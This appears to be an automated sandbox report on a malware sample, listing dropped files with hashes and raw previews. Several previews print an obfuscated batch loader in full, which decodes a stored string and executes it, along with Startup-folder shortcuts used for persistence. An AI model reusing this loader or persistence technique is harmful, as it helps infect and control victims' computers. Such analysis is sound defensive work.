.\|..o.+.......G.P..#.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.4.2.5.3.1.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_K.lnk

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Icon number=1, Archive, ctime=Thu Dec 12 10:56:03 2024, mtime=Thu Dec 12 10:56:03 2024, atime=Thu Dec 12 10:56:03 2024, length=481, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	4.630662143615342
Encrypted:	false
SSDEEP:	12:8BFbQrRU4I8ZcCHqXjvmaCACmjyKU6wOujEjAnbcffbOkvEMB+av7wNv4t2YCBT7:8BFkMTuGjZUTOuUAbcXDEMBbv7GJTvm
MD5:	5BD17C421BDA4FE2979E5036C9FD0B80
SHA1:	1F7187D07FF898677EF0ACA116F856588B0E6EF2
SHA-256:	6368AECD3B8CA018637A80CC68304E9EE321603DE17DC373967F93EECF2A4D16
SHA-512:	A49D6F97891F0BB939D08488F70031B83F7EFEDC7048620A7DD6178E9C695740D08EED21155C62F324C4F5F599BC4C1CD920656723076A481F3840991D40CE3E
Malicious:	true
Preview:	L..................F.... ...]nz.L..]nz.L..]nz.L...............................P.O. .:i.....+00.../C:\...................x.1....."S...Users.d......OwH.Y.^.....u..............:.......8.U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....\|.1......Y._..Public..f......O.I.Y._....Du..............<........P.u.b.l.i.c...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.6.....z.2......Y._ .W1064_~1.CMD..^......Y._.Y._....\|U.......................W.1.0.6.4._.0.3._.z.a.y.q.g.x.5._.K...c.m.d.......U...............-.......T...........x.z......C:\Users\Public\computer_zayqgx5_K.cmd..5.....\.....\.....\.....\.....\.....\.....\.....\.P.u.b.l.i.c.\.W.1.0.6.4._.0.3._.z.a.y.q.g.x.5._.K...c.m.d.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e..........v...cM.jVD.Es.!...`.......X.......921702..............n4UB.. .\|..o.H......G.P..#.....n4UB.. .\|..o.H..*....G.P..#.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.4.2.5.3.1.6.5.6.7.-.2.9.6.9.5.8

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_KAA.lnk

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, Icon number=1, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	549
Entropy (8bit):	2.9684774168602064
Encrypted:	false
SSDEEP:	6:4xtU1xRcFlfEKW9O1rIKWStw0Z2bOlyvEMl4Yrlcdt/:8GHRczfEKsOxIKYa2bOkvEMBi
MD5:	745B4F5DC3F43801579F02F13034F05A
SHA1:	9518C81DEAD8C7C2C0018A3B7EC02632569CD578
SHA-256:	D62676B23FB28FB2106A29A44BED0E77E01C2C8F12E2970E359C3DBB46F45481
SHA-512:	FEF6B2C78A647861C13DCBB79EFD021B290CDDFDE970AFD6FF5BE1E7320F53F25197D373AC1F052AD9ECC0BDCEA373F13669F1C27B743CF5D7C83504E969BC74
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................`.1..........._zayqgx5_K..F............................................_.z.a.y.q.g.x.5._.K.....r.2..........._zayqgx5_Ki7.exe..R............................................_.z.a.y.q.g.x.5._.K.i.7...e.x.e... ...6.....\.....\.....\.....\.....\.....\.....\.....\.....\._.z.a.y.q.g.x.5._.K.\._.z.a.y.q.g.x.5._.K.i.7...e.x.e...C.:.\.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_KAT.lnk

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, Has command line arguments, Icon number=1, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	617
Entropy (8bit):	2.989901133335529
Encrypted:	false
SSDEEP:	6:4xt2/b12RcFlfEKW/OKVVp6tMv6jECurbOlyvEMl4Yrlcdt/:8wb4RczfEKiOCTDvMECabOkvEMBi
MD5:	F0DFA1FEF0FCE9DF22F2AD4EA90F3154
SHA1:	A3B416248CB1ECF2189715C5FA3DB22151838B24
SHA-256:	80E05DDB46083322482708FFA4FE31BB01B4C18EDFC7370CD7BE54C16CBCDBE5
SHA-512:	8BE23D2C584B612C19270EC3F2A4DAB818FBB6A84E87F5A42F8CCDE18829BF0BE1E62A19A8A07166E1EE712B2E63D6736A811F18CB1598FFAC874B78584387A5
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................`.1..........._zayqgx5_K..F............................................_.z.a.y.q.g.x.5._.K.....l.2..........._zayqgx5_K.exe..N............................................_.z.a.y.q.g.x.5._.K...e.x.e.......4.....\.....\.....\.....\.....\.....\.....\.....\.....\._.z.a.y.q.g.x.5._.K.\._.z.a.y.q.g.x.5._.K...e.x.e...C.:.\._.z.a.y.q.g.x.5._.K.\...C.:.\._.z.a.y.q.g.x.5._.K.\._.z.a.y.q.g.x.5._.K...a.t.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_KEX.lnk

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, Has command line arguments, Icon number=1, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	617
Entropy (8bit):	2.98910660335875
Encrypted:	false
SSDEEP:	6:4xt2/b12RcFlfEKW/OKVVp6tMv6jECxBbOlyvEMl4Yrlcdt/:8wb4RczfEKiOCTDvMECxBbOkvEMBi
MD5:	EFBEA13A99BDAF0B2329760064BCC151
SHA1:	3746A5E0CE77FA4DD81E7FF89144B4FE519AB3F5
SHA-256:	B0D4E47490C8415439AF5182CBEFBA63292233807330AEEA0F316040DF460F87
SHA-512:	8A360C18073359DCCDC8CBF3B7ACDD6130700CC1BE2CD9CDE34B39179263F4692D84ABA25405612AE78ACA999C054E9523743B2B4E1C2D8329188043DD0DDDA1
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................`.1..........._zayqgx5_K..F............................................_.z.a.y.q.g.x.5._.K.....l.2..........._zayqgx5_K.exe..N............................................_.z.a.y.q.g.x.5._.K...e.x.e.......4.....\.....\.....\.....\.....\.....\.....\.....\.....\._.z.a.y.q.g.x.5._.K.\._.z.a.y.q.g.x.5._.K...e.x.e...C.:.\._.z.a.y.q.g.x.5._.K.\...C.:.\._.z.a.y.q.g.x.5._.K.\._.z.a.y.q.g.x.5._.K...a.i.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_Ky.lnk

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Icon number=1, Archive, ctime=Thu Dec 12 10:56:03 2024, mtime=Thu Dec 12 10:56:03 2024, atime=Thu Dec 12 10:56:03 2024, length=482, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	4.638433055395308
Encrypted:	false
SSDEEP:	12:8L8WXU4I8ZcCHqXjvmaCACme70lc6GjAKbo2bOkvEMB+av7wdH7v4t2YCBTo8DmW:8XMTuGeNnAuxDEMBbv7sH5JTvm
MD5:	4B4B71D61EE7A68399364EA8F4E3E030
SHA1:	2A5C4D8579D7602BEDE7C1A94726BE727DD5953C
SHA-256:	00BA1F691CE69398233F4941755F1D3EF3925A8DDA0CD26F19B73BDD10E665FD
SHA-512:	22613EE814AFA33C7DC0CFB2FCFF1BC139F889048056BECF923DD9B722002B3E5BAC424EA531A118881C3B3920FFE87D07FCD94D2C33B40D01A047AABF237A83
Malicious:	false
Preview:	L..................F.... .......L......L......L...............................P.O. .:i.....+00.../C:\...................x.1....."S...Users.d......OwH.Y.^.....u..............:.......8.U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....\|.1......Y._..Public..f......O.I.Y._....Du..............<........P.u.b.l.i.c...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.6.....\|.2......Y._ .W1064_~2.CMD..`......Y._.Y._.....U....................Yj.W.1.0.6.4._.0.3._.z.a.y.q.g.x.5._.K.y...c.m.d.......V...............-.......U...........x.z......C:\Users\Public\computer_zayqgx5_Ky.cmd..6.....\.....\.....\.....\.....\.....\.....\.....\.P.u.b.l.i.c.\.W.1.0.6.4._.0.3._.z.a.y.q.g.x.5._.K.y...c.m.d.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e..........v...cM.jVD.Es.!...`.......X.......921702..............n4UB.. .\|..o.I......G.P..#.....n4UB.. .\|..o.I......G.P..#.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.4.2.5.3.1.6.5.6.7.-.2.9.6.

C:\Users\Public\031124

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	2.968918563962097
Encrypted:	false
SSDEEP:	3:Q6EUzlwOBl:Q6v
MD5:	ABDFAE31CF50A417978583900301EBF0
SHA1:	50922B0C7AE822539537E66077FCB90AF63C7C5F
SHA-256:	7B4D5DA7516D85508DFEE35BC2BAEDD569F4156D3B789C271FC1A920609387CB
SHA-512:	6CEB0B7CF4FA255EB3EDF4052F029C2A52B46F68F766838CACCE313012997E14010D5B01AFF001B3A9AB636047D6D6C70A267C0D0E837A11AFA7C82D0ADC7197
Malicious:	false
Preview:	.._.z.a.y.q.g.x.5._.K.....

C:\Users\Public\041224

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	2.968918563962097
Encrypted:	false
SSDEEP:	3:Q6ufKlJlHtIl:Q6ljlH2
MD5:	2ED73510322ACB4148EC42AB5B088E76
SHA1:	B879683A61695D80F1E7B34DB03EC2529E5A9D17
SHA-256:	FF1425E8C5E50F9D794F647D057988D7AD89F0E72FF0FC0F773902E03AE07004
SHA-512:	B214FE65E142B0C5BDBC91F412A976AEEFFF5AFC4B1CDCD451CAED19EABBCA9DCF671E838B58D4F0C3CB45F8AC123FD38ABD7E408D42F06DCC60F8DB7FB417CD
Malicious:	false
Preview:	.._.n.c.z.u.w.k.7._.H.....

C:\Users\Public\19\Adjuntos.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	modified
Size (bytes):	519
Entropy (8bit):	7.1760022162902155
Encrypted:	false
SSDEEP:	12:5jIoxit3anipiRJQDQK6qO0tAF3yPj5NSgMXIEVpeNIAit3aNa6:9sliKiFK6AACPa4epllC
MD5:	DDEEA8D122BDD0061ACD6084B023E7B8
SHA1:	08611D88F054FF1E7CF4F522F304D149342E3275
SHA-256:	6B60BE29993664AFC3B3A3CC42A1D2003632E49F14399BCF3781EA37CF152804
SHA-512:	1EAA823835A6910D44046BD4C349CBE27D5F97484DB06C46E7C80FB8EEE10319331C60FAEC74B2CB8C7A6E53C7429A759F837CAA3114CD76EEE3EFFFEA7A4AE3
Malicious:	false
Preview:	PK..........Y.(~wk...........r9N2y1H4y4a1f96923766848.htmlM.Mo.!......V.),...J6&U.&.H..q.q.......S+...~.Q.a.y^4...._..><..&m...\|.."1`...D...".!v....B....z.}r...l....2".Mh.}/Z..K.k.tL..:i04.0....$..^m..{..a.['..u>S}M....P....pF".H#.....B.mM.^{.R.&.....-..&...T8.BM..jX..6...p..Y...._.j.....6=.M.S...{..T.c....%y....X3.t.-D...h0o.k...1..c..m._....r.>z.F......I.C..4.g.\.J.rQ........EE..byQUJ..8...g9.t..b..O..PK............Y.(~wk................. .......r9N2y1H4y4a1f96923766848.htmlPK..........K.........

C:\Users\Public\computer_nczuwk7_H.cmd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	481
Entropy (8bit):	5.407171592187664
Encrypted:	false
SSDEEP:	12:/IUb4u4tmm2Np5N+6LO5Sfy8n6LBArp5v5mw:wztoVN+6uS68n61wR5
MD5:	982A80A4041B853D09FE06F3ED45FAAD
SHA1:	8C09B91F94FE8811C4FE58E0D4950C746B93B2E4
SHA-256:	07EBB222513714BBF5CB446773DCECAC52E104E4A1A1F51D623319F0967FEF4C
SHA-512:	4BCB11217AD327D09F25A38D448D0D8AE50BA016FE590BA35B45B1EA5D1BEA92D4B836D2957C8B06C1A03C3F231F21E05C54B5B024D22BE395578A572B7E2217
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@Echo off..Setlocal EnableExtensions..Setlocal EnableDelayedExpansion..cd %SystemRoot%\System32..Set /P _nczuwk7_H=<"C:\_nczuwk7_H\computer_nczuwk7_H"..set chars=0123456789abcdefghijklmnopqrstuvwxyz..for /L %%N in (10 1 36) do (..for /F %%C in ("!chars:~%%N,1!") do (..set "_nczuwk7_H=!_nczuwk7_H:%%N=%%C!"..)..)..)..for /F %%F in ("!_nczuwk7_H!") do (..set "_nczuwk7_H=!_nczuwk7_H:@=!"..)..for /F %%F in ("!_nczuwk7_H!") do (..set "_nczuwk7_H=!_nczuwk7_H:"=!"..)..%_nczuwk7_H%....

C:\Users\Public\computer_nczuwk7_Hy.cmd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	482
Entropy (8bit):	5.409946021031701
Encrypted:	false
SSDEEP:	12:/IUb4u4tmm2NpYN+6LO5Sfy8n6LBArp5v5mw:wzto8N+6uS68n61wR5
MD5:	0140A0E8993E588200E06F51A1DBBBF4
SHA1:	423191FF93927D796DCB66F42AE426A45F51E934
SHA-256:	ED0266B9A722D9EEB7945F4B9C51587145E2D48C3DFB608A498BE0407BD1DB4F
SHA-512:	56314A9C0A609613F9BD4FD27F94F210D1F92FF19188BCF0878F23A7F2F30B1BC038AC69EDFC5817CB66845FA2FB3D7580E7B99695506D27F136425431AFD7F5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@Echo off..Setlocal EnableExtensions..Setlocal EnableDelayedExpansion..cd %SystemRoot%\System32..Set /P _nczuwk7_H=<"C:\_nczuwk7_H\computer_nczuwk7_Hy"..set chars=0123456789abcdefghijklmnopqrstuvwxyz..for /L %%N in (10 1 36) do (..for /F %%C in ("!chars:~%%N,1!") do (..set "_nczuwk7_H=!_nczuwk7_H:%%N=%%C!"..)..)..)..for /F %%F in ("!_nczuwk7_H!") do (..set "_nczuwk7_H=!_nczuwk7_H:@=!"..)..for /F %%F in ("!_nczuwk7_H!") do (..set "_nczuwk7_H=!_nczuwk7_H:"=!"..)..%_nczuwk7_H%....

C:\Users\Public\computer_zayqgx5_K.cmd

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	481
Entropy (8bit):	5.410488056894155
Encrypted:	false
SSDEEP:	12:/IUb4u4tmm2bBtbwN+6LO5Sfy8n6+ObKr81+Obi1+Obm2PG:wztobBlwN+6uS68n6+Obf1+Obi1+Ob3+
MD5:	F55ADFF48259AD902904F37BDF3D8ACA
SHA1:	46F1E71B359C64B84010462BD411B43827053F9F
SHA-256:	E375ACAAAD3202C825D8BBA816D03B98FB6BE65F9C566CBA42280483BD947A6C
SHA-512:	5231763880B207C9F213BE9A3370E13217E7E65ADEF3008BC59162A222FE2FCEAB349B43C436A42A5861E929C4AB5A3A6C70C0528B08D07B050CAE4036D15472
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@Echo off..Setlocal EnableExtensions..Setlocal EnableDelayedExpansion..cd %SystemRoot%\System32..Set /P _zayqgx5_K=<"C:\_zayqgx5_K\computer_zayqgx5_K"..set chars=0123456789abcdefghijklmnopqrstuvwxyz..for /L %%N in (10 1 36) do (..for /F %%C in ("!chars:~%%N,1!") do (..set "_zayqgx5_K=!_zayqgx5_K:%%N=%%C!"..)..)..)..for /F %%F in ("!_zayqgx5_K!") do (..set "_zayqgx5_K=!_zayqgx5_K:@=!"..)..for /F %%F in ("!_zayqgx5_K!") do (..set "_zayqgx5_K=!_zayqgx5_K:"=!"..)..%_zayqgx5_K%....

C:\Users\Public\computer_zayqgx5_Ky.cmd

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	482
Entropy (8bit):	5.409360941564903
Encrypted:	false
SSDEEP:	12:/IUb4u4tmm2bBtb7N+6LO5Sfy8n6+ObKr81+Obi1+Obm2PG:wztobBl7N+6uS68n6+Obf1+Obi1+Ob3+
MD5:	B6D42A274A09D8E90A7AF0AAA42D9060
SHA1:	F60852C9196A4E883408B7EC56EEBFA0558F6C31
SHA-256:	AA88B9D6D26F0CB54EF672D6AE02A46096FAE6C82C0C9C806AE6DFB1CE7A0C1D
SHA-512:	41D34C34D2A7EB5B85FB264A9CD834C483C84F4163B1061AACD99BA60A97FE150D9C3B026447C908052BE19A2E2F54A2FBED626AC052056F406A2768B5A72B38
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@Echo off..Setlocal EnableExtensions..Setlocal EnableDelayedExpansion..cd %SystemRoot%\System32..Set /P _zayqgx5_K=<"C:\_zayqgx5_K\computer_zayqgx5_Ky"..set chars=0123456789abcdefghijklmnopqrstuvwxyz..for /L %%N in (10 1 36) do (..for /F %%C in ("!chars:~%%N,1!") do (..set "_zayqgx5_K=!_zayqgx5_K:%%N=%%C!"..)..)..)..for /F %%F in ("!_zayqgx5_K!") do (..set "_zayqgx5_K=!_zayqgx5_K:@=!"..)..for /F %%F in ("!_zayqgx5_K!") do (..set "_zayqgx5_K=!_zayqgx5_K:"=!"..)..%_zayqgx5_K%....

C:\Users\Public\filessystem\ZipFile.zip

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	modified
Size (bytes):	440783
Entropy (8bit):	7.856887085584569
Encrypted:	false
SSDEEP:	6144:+uyXtpIetQwAhmSv3kMereWIGkoy3emGurG1zp3h/ULCJ5sIeLq1rKzn/SBbbe1o:StpIezYmSsMer+ev7zhxbwLiKznweRgh
MD5:	F3CC2335D196FFCB380D6B5E4106C014
SHA1:	2D608E36950AC42EF9B26C3A8DFB9EFE888F485E
SHA-256:	A1F96A842FE7D33C5DE576AAD148F9BE4A2EC00353B9379C3AB5B77BF739C6B0
SHA-512:	582DC81BCF558FFEE63EE5157F5821A8450A9AD4168C00893A780A7C64806F94EAD83990EB0EE368841B5BF056D1F9B85FA13C3721D971A3375DEE21740FBC2B
Malicious:	false
Preview:	PK...........YG.AN............files10.xlsx..Y.E!.C...-J..8.......T0r......G.....Xld..TM...gS.lJ..El-..A..S...f...O....._.-2.u1.x..0.(c...3...Q.N.T..t=.....;d.$.P.a...<\[...].O....Y...u.Pw.....RC..}-}...3%......v........v.y..8]Uu.,"..&:..n.E@.3..K....5q......HFy..K....b.WJvU..-....lK.t.%.!;T....%9..gR.`..I.....u....Q..<).%..X$......d..(y..SZI..&0.qF...9$.AM..8.\......v..N..9p....!..q.q...g. .,..O.r.....zM..8........@.=.f.[`...o.G>eF.p.]V..pL..".<....4a.V.>.{vFy....<....\WR..D.}.R..^.1..C.G....;.7..G.63....~..."/...W.Z..m.^._b5..m.J..i~3y..P.\|...G..&..)......T{..[.{Wq..h....'....sW.c.......g\+...Y..>X...S./.G...[i:.Xl...:..$....o.kTK...?....^...o....?PK...........Y................files11.xlsx..I.@!.D.......GT..A.7+..Py.S....[.......^"-.......7q.WB-.-ss....)...g....&U.g%.... }.....,.A.f.....X^.`..A.0.,..oD=(..............0...M....._1.W.......0.;.....<k]L=Tl..:.Zt..[u.l......d..N.S..0.... q.r.5z.U..K.7.L..[.YJ...Q.j.........:...v.}?!.*Z].z..

C:\Users\Public\filessystem\files10.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.680903838155212
Encrypted:	false
SSDEEP:	24:LKfnNJMa93fwQo8TIs8atjNgmog2cp7Udr/6W55y1L:LKfnXvtcr6j7ogi56Gy1L
MD5:	850E61ACEAEEDDEBC82F3FED7AAC0CD6
SHA1:	E12384A8612E923B86669176314F4C9F0AC2172A
SHA-256:	006F4E69AAB9E31DC50DE046E83EC49E4A5E0AEEC0903B515A89C5981E4B8A33
SHA-512:	C6C576B0612C1F95C57A8C05368D45FF5E5658408977C17AFDE412A4D05ECA6D6DBC27B60693C1CCB539FB5D01843ED7C99761797F380DB2B9B42A97BE72E51D
Malicious:	false
Preview:	UCKFKZQOSOYAJKCAUDETZINFKWHUFTAPXGHSDWMENPXVQLXWSGKIPPLCZBJCMKRLKZYIUCWACLAWDCIADCUMWCJHUBPAFNXTWGRXEQUWVGTGIKSBNSSUPBWITJHRUTEAIBGCELNEBQTGRMKMJUGIMHRBMQNBRWNLWRBOFEWGKPQKMSGPUQAMGXVOWRTXVBPJUMMAWHZWHCLCBOVLZXVXZZRPLPIXDWGDPLDOOPPMMQLFAEQHYRLTIPYWIPVSXWFZUWSOBVRKMUHUGLXGCOAOGZQFIIBQGFEKGCIXPZJRNXBAXGEPYSOLLCBZOHNCXEGUTIVUTVEZDQZUBLEXOQHEIGDLXBEBINONFHDNNMGOAPYIPKZVHFGRSBFPLLNRCDLQKJMGIAZBFEIDWXLGQOLHMQAKNIRZUDNNXWCUXRKIICKZZZNSBKXDUIWTQJGUXJWQQWXXKGNBFFLDEJIZQEWBCXAXRNXNWQLULXCXOPXBSEYGEAENBHGGIQICJATGPKSYFYZEDEJUIJIXXGZAVKHNOTCBDWMBWKBSUNAISXLBFYGQBKVJKBARMQOBXNYUIQYRYMSXYBZIFHTYMYACADROLKBNLWBBAKHAHKUXJXIWJQGLHRBETMZNBSTSATFJHKUWYXDAESPQJYNFUFCCOBBYEMVXBXXVYIIBEBEDPCQIJXWAQBHJFHDRWIXMAWDZVLVWMSCZSDXZMOULAHWKTIXFRTBAAFYCRNWSXWBUKJOZYXSZRXIWGNBWPCDYBQGBVWWIRYIVBXZDBFEAHXXCLADQYGNQEAOOBFTIXIUWCJPBWCWUTRFRDYBIQSVQTDTLHBIRGDLFMYKSXHIYABSQPXWJYYNUBSSITHPWVLORLJYRFQZVVOXGTNWZOIEKLXBIKTVTQMUMJAOSRSYZURVSVCVRVTBFIQAPXEGPNBGPECMCYSLDBUVFNGMLOCCKZYXUBXIXIVPNPCMVKNFJFIUCCMHVJXJSBNOKCQGRXSAZEAPL

C:\Users\Public\filessystem\files11.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\Public\filessystem\files12.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEF